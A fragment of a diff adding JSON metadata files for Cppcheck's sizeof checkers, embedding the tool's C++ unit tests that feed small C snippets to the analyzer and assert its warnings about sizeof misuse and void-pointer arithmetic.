\"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #155\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[], int b) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[3] , int b[2] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*(2+1)];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void sizeofForNumericParameter() {\n check(\"void f() {\\n\"\n \" std::cout << sizeof(10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof(-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof 10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof -10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n }\n\n void suspiciousSizeofCalculation() {\n check(\"void f() {\\n\"\n \" int* p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unknown p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(unknown)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* p[5];\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning, inconclusive) Multiplying sizeof() with sizeof() indicates a logic error. [multiplySizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (end - source) / sizeof(encode_block_type) * sizeof(encode_block_type);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { T* t; };\\n\" // #10179\n \"int f(S* s) {\\n\"\n \" return g(sizeof(*s->t) / 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char* a[N];\\n\"\n \" for (int i = 0; i < (int)(sizeof(a) / sizeof(char*)); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int** p) {\\n\"\n \" return sizeof(p[0]) / 4;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" unsigned char* s;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s[38];\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" for (size_t i = 0; i < sizeof(t->s) / sizeof(t->s[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" struct T {\\n\"\n \" char* c[3];\\n\"\n \" } t[1];\\n\"\n \"};\\n\"\n \"void f(S* s) {\\n\"\n \" for (int i = 0; i != sizeof(s->t[0].c) / sizeof(char*); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t* buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(buf[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t*** buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(**buf[0]); i++) {}\\n\"\n \" for (int i = 0; i < len / sizeof(*buf[0][0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeof() {\n check(\"void f() {\\n\"\n \" char *x = malloc(10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = (int*)malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = static_cast(malloc(sizeof(x)));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(&x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int*));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \" int **y = malloc(sizeof(int*));\\n\"\n \" free(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x) * 100);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(*x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof *x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(int) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"int fun(const char *buf1)\\n\"\n \"{\\n\"\n \" const char *buf1_ex = \\\"foobarbaz\\\";\\n\"\n \" return strncmp(buf1, buf1_ex, sizeof(buf1_ex)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (warning) Size of pointer 'buf1_ex' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\n \"int fun(const char *buf1) {\\n\"\n \" return strncmp(buf1, foo(buf2), sizeof(buf1)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Size of pointer 'buf1' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"int fun(const char *buf2) {\\n\"\n \" return strncmp(buf1, buf2, sizeof(char*)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (warning) Size of pointer 'buf2' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n // #ticket 3874\n check(\"void f()\\n\"\n \"{\\n\"\n \" int * pIntArray[10];\\n\"\n \" memset(pIntArray, 0, sizeof(pIntArray));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void FreeFileName(const char *s) {\\n\"\n \" CxString tbuf;\\n\"\n \" const char *p;\\n\"\n \" memcpy(s, siezof(s));\\n\" // non-standard memcpy\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" module_config_t *tab = module;\\n\"\n \" memset(tab + confsize, 0, sizeof(tab[confsize]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char* aug) {\\n\"\n \" memmove(aug + extra_string, aug, buf - (bfd_byte *)aug);\\n\" // #7100\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7518\n check(\"bool create_iso_definition(cpp_reader *pfile, cpp_macro *macro) {\\n\"\n \" cpp_token *token;\\n\"\n \" cpp_hashnode **params = malloc(sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \" memcpy(params, macro->params, sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* foo() {\\n\"\n \" void* AtomName = malloc(sizeof(char *) * 34);\\n\"\n \" return AtomName;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeofStruct() {\n check(\"void f() {\\n\"\n \" struct foo *ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char bar[10];\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char *bar;\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (warning) Size of pointer 'bar' used instead of size of its data. [pointerSize]\\n\", errout_str());\n }\n\n void sizeofDivisionMemset() {\n check(\"void foo(memoryMapEntry_t* entry, memoryMapEntry_t* memoryMapEnd) {\\n\"\n \" memmove(entry, entry + 1, (memoryMapEnd - entry) / sizeof(entry));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:56]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\"\n \"[test.cpp:2:54]: (warning) Division by result of sizeof(). memmove() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\",\n errout_str());\n\n check(\"Foo* allocFoo(int num) {\\n\"\n \" return malloc(num / sizeof(Foo));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (warning) Division by result of sizeof(). malloc() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[100];\\n\"\n \" strncpy(str, xyz, sizeof(str)/sizeof(str[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #9648\n \" int a[5] = { 0 };\\n\"\n \" int b[5];\\n\"\n \" memcpy(b, a, ((sizeof(a) / sizeof(a[0])) - 1) * sizeof(a[0]));\\n\"\n \" memcpy(b, a, sizeof(a[0]) * ((sizeof(a) / sizeof(a[0])) - 1));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sizeofVoid() {\n check(\"void f() {\\n\"\n \" int size = sizeof(void);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (portability) Behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofVoid]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p;\\n\"\n \" int size = sizeof(*p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (portability) '*p' is of type 'void', the behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofDereferencedVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = p + 4;\\n\"\n \" int* p3 = p - 1;\\n\"\n \" int* p4 = 1 + p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:4:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1--;\\n\"\n \" p2++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1-=4;\\n\"\n \" p2+=4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = &p + 4;\\n\"\n \" int* p3 = &p - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1 = malloc(10);\\n\"\n \" p1--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1;\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1[5];\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Calculations on void* with casts\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)(data) + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)(data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)data++;\\n\"\n \" unsigned char* c2 = (unsigned char *)++data;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:43]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:3:40]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" void* data2 = data + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #4908 (void pointer as a member of a struct/class)\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)(foo.data+1));\\n\"\n \" foo.data++;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:30]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:6:11]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)foo.data+1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f2(struct FOO foo) {\\n\"\n \" char x = *((char*)((FOO)foo).data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f3(struct FOO* foo) {\\n\"\n \" char x = *((char*)foo->data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"struct BOO {\\n\"\n \" FOO data;\\n\"\n \"};\\n\"\n \"void f4(struct BOO* boo) {\\n\"\n \" char c = *((char*)boo->data.data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO* foo) {\\n\"\n \" *(foo[1].data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (portability) 'foo[1].data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"void f2(struct FOO* foo) {\\n\"\n \" (foo[0]).data++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (portability) '(foo[0]).data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #6050 arithmetic on void**\n check(\"void* array[10];\\n\"\n \"void** b = array + 3;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void customStrncat() {\n // Ensure we don't crash on custom-defined strncat, ticket #5875\n check(\"char strncat ();\\n\"\n \"int main () {\\n\"\n \" return strncat ();\\n\"\n \"}\");\n }\n\n};\n\nREGISTER_TEST(TestSizeof)\n\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/checkSizeofForPointerSize.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/checkSizeofForPointerSize.json new file mode 100644 index 0000000..22168ad --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/checkSizeofForPointerSize.json @@ -0,0 +1,13 @@ +{ + "name": "checkSizeofForPointerSize", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 130, + "branches": 51, + "apis": 152, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofCalculation.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofCalculation.json new file mode 100644 index 0000000..ba56d29 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofCalculation.json @@ -0,0 +1,22 @@ +{ + "name": "sizeofCalculation", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 29, + "branches": 11, + "apis": 32, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 93 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checksizeof.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestSizeof : public TestFixture {\npublic:\n TestSizeof() : TestFixture(\"TestSizeof\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).certainty(Certainty::inconclusive).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(sizeofsizeof);\n TEST_CASE(sizeofCalculation);\n TEST_CASE(sizeofFunction);\n TEST_CASE(checkPointerSizeof);\n TEST_CASE(checkPointerSizeofStruct);\n TEST_CASE(sizeofDivisionMemset);\n TEST_CASE(sizeofForArrayParameter);\n TEST_CASE(sizeofForNumericParameter);\n TEST_CASE(suspiciousSizeofCalculation);\n TEST_CASE(sizeofVoid);\n TEST_CASE(customStrncat);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size]) {\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenize..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n void sizeofsizeof() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof sizeof char;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof long);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo(long *p)\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof (p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n }\n\n void sizeofCalculation() {\n check(\"int a, b; int a,sizeof(a+b)\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(a*b)\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(-a)\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(*a)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(void * const)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(int*[2])\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(Fred**)\");\n 